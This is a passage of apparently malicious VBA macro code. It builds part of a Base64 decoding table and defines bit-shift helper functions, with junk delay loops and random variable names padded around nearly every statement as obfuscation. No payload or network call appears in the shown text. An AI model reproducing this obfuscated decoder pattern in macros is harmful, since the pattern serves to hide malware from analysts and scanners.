yQNkGflhs = yQNkGflhs + 1: DoEvents
Loop
t = t + 1
Dim pAGCNftBC As Integer
pAGCNftBC = 1713
Do While pAGCNftBC < 1713 + 10
pAGCNftBC = pAGCNftBC + 1: DoEvents
Loop
Dim GNsFEUYbSrG As Integer
GNsFEUYbSrG = 712
Do While GNsFEUYbSrG < 712 + 10
GNsFEUYbSrG = GNsFEUYbSrG + 1: DoEvents
Loop
Next
Dim HKBbDjhODYN As Integer
HKBbDjhODYN = 843
Do While HKBbDjhODYN < 843 + 10
HKBbDjhODYN = HKBbDjhODYN + 1: DoEvents
Loop
Dim GtgGdcE As Integer
GtgGdcE = 719
Do While GtgGdcE < 719 + 10
GtgGdcE = GtgGdcE + 1: DoEvents
Loop
C = Asc("+")
Dim ghCDNlRvKry As Integer
ghCDNlRvKry = 270
Do While ghCDNlRvKry < 270 + 10
ghCDNlRvKry = ghCDNlRvKry + 1: DoEvents
Loop
Dim oLhFxuF As Integer
oLhFxuF = 408
Do While oLhFxuF < 408 + 10
oLhFxuF = oLhFxuF + 1: DoEvents
Loop
aDecTab(C) = t
Dim UlRYrzo As Integer
UlRYrzo = 2467
Do While UlRYrzo < 2467 + 10
UlRYrzo = UlRYrzo + 1: DoEvents
Loop
Dim MNLQouBgt As Integer
MNLQouBgt = 253
Do While MNLQouBgt < 253 + 10
MNLQouBgt = MNLQouBgt + 1: DoEvents
Loop
t = t + 1
Dim CHslsQxjz As Integer
CHslsQxjz = 1295
Do While CHslsQxjz < 1295 + 10
CHslsQxjz = CHslsQxjz + 1: DoEvents
Loop
Dim qiGVOygCfjxud As Integer
qiGVOygCfjxud = 2340
Do While qiGVOygCfjxud < 2340 + 10
qiGVOygCfjxud = qiGVOygCfjxud + 1: DoEvents
Loop
C = Asc("/")
Dim kwKsJvzZNKE As Integer
kwKsJvzZNKE = 1910
Do While kwKsJvzZNKE < 1910 + 10
kwKsJvzZNKE = kwKsJvzZNKE + 1: DoEvents
Loop
Dim bGfwQwHBTD As Integer
bGfwQwHBTD = 109
Do While bGfwQwHBTD < 109 + 10
bGfwQwHBTD = bGfwQwHBTD + 1: DoEvents
Loop
aDecTab(C) = t
Dim clvqS As Integer
clvqS = 247
Do While clvqS < 247 + 10
clvqS = clvqS + 1: DoEvents
Loop
Dim YbSrUzfTofVjtd As Integer
YbSrUzfTofVjtd = 2340
Do While YbSrUzfTofVjtd < 2340 + 10
YbSrUzfTofVjtd = YbSrUzfTofVjtd + 1: DoEvents
Loop
t = t + 1
Dim TGhDCfePTtTfZroK As Integer
TGhDCfePTtTfZroK = 1466
Do While TGhDCfePTtTfZroK < 1466 + 10
TGhDCfePTtTfZroK = TGhDCfePTtTfZroK + 1: DoEvents
Loop
Dim KrUlRYr As Integer
KrUlRYr = 1497
Do While KrUlRYr < 1497 + 10
KrUlRYr = KrUlRYr + 1: DoEvents
Loop
C = Asc("=")
Dim MLQnuBgssI As Integer
MLQnuBgssI = 1183
Do While MLQnuBgssI < 1183 + 10
MLQnuBgssI = MLQnuBgssI + 1: DoEvents
Loop
Dim mlBFIzZohQyA As Integer
mlBFIzZohQyA = 642
Do While mlBFIzZohQyA < 642 + 10
mlBFIzZohQyA = mlBFIzZohQyA + 1: DoEvents
Loop
aDecTab(C) = t  ' should be 64
Dim lPNvkEvmzK As Integer
lPNvkEvmzK = 327
Do While lPNvkEvmzK < 327 + 10
lPNvkEvmzK = lPNvkEvmzK + 1: DoEvents
Loop
Dim ZcSsHAkRUpRV As Integer
ZcSsHAkRUpRV = 1575
Do While ZcSsHAkRUpRV < 1575 + 10
ZcSsHAkRUpRV = ZcSsHAkRUpRV + 1: DoEvents
Loop
End Function
Private Function gmhjMi(ByVal bytValue As Byte) As Byte
 gmhjMi = (bytValue * &H4) And &HFF
Dim zzbjvYrQuM As Integer
zzbjvYrQuM = 1452
Do While zzbjvYrQuM < 1452 + 10
zzbjvYrQuM = zzbjvYrQuM + 1: DoEvents
Loop
Dim bYuQphdpGU As Integer
bYuQphdpGU = 1273
Do While bYuQphdpGU < 1273 + 10
bYuQphdpGU = bYuQphdpGU + 1: DoEvents
Loop
End Function
Private Function RpXvuVUL(ByVal bytValue As Byte) As Byte
 RpXvuVUL = (bytValue * &H10) And &HFF
Dim IoLeqecnlHrBHDPhhDE As Integer
IoLeqecnlHrBHDPhhDE = 1449
Do While IoLeqecnlHrBHDPhhDE < 1449 + 10
IoLeqecnlHrBHDPhhDE = IoLeqecnlHrBHDPhhDE + 1: DoEvents
Loop
Dim tyVdkNba As Integer
tyVdkNba = 606
Do While tyVdkNba < 606 + 10
tyVdkNba = tyVdkNba + 1: DoEvents
Loop
End Function
Private Function pPVPR(ByVal bytValue As Byte) As Byte
 pPVPR = (bytValue * &H40) And &HFF
Dim fdiSLjKvLPSJjL As Integer
fdiSLjKvLPSJjL = 1904
Do While fdiSLjKvLPSJjL < 1904 + 10
fdiSLjKvLPSJjL = fdiSLjKvLPSJjL + 1: DoEvents
Loop
Dim QupSUBVbjZE As Integer
QupSUBVbjZE = 1652
Do While QupSUBVbjZE < 1652 + 10
QupSUBVbjZE = QupSUBVbjZE + 1: DoEvents
Loop
End Function
Private Function clSq4EnJFIl(ByVal bytValue As Byte) As Byte
 clSq4EnJFIl = bytValue \ &H4
Dim kvBxIabwx As Integer
kvBxIabwx = 844
Do While kvBxIabwx < 844 + 10
kvBxIabwx = kvBxIabwx + 1: DoEvents
Loop
Dim zfopnsPVdH As Integer
zfopnsPVdH = 1919
Do While zfopnsPVdH < 1919 + 10
zfopnsPVdH = zfopnsPVdH + 1: DoEvents
Loop
End Function
Private Function RgmEL5K(ByVal bytValue As Byte) As Byte
 RgmEL5K = bytValue \ &H10
Dim YYQcMzdEpFJL As Integer
YYQcMzdEpFJL = 525
Do While YYQcMzdEpFJL < 525 + 10
YYQcMzdEpFJL = YYQcMzdEpFJL + 1: DoEvents
Loop
Dim zBQzDRNwKkk As Integer
zBQzDRNwKkk = 1162
Do While zBQzDRNwKkk < 1162 + 10
zBQzDRNwKkk = zBQzDRNwKkk + 1: DoEvents
Loop
End Function
Private Function roOLmk4aG(ByVal bytValue As Byte) As Byte
 roOLmk4aG = bytValue \ &H40
Dim bpQoaeDspjB As Integer
bpQoaeDspjB = 214
Do While bpQoaeDspjB < 214 + 10
bpQoaeDspjB = bpQoaeDspjB + 1: DoEvents
Loop
Dim EBMesABK As Integer
EBMesABK = 1875
Do While EBMesABK < 1875 + 10
EBMesABK = EBMesABK + 1: DoEvents
Loop
End Function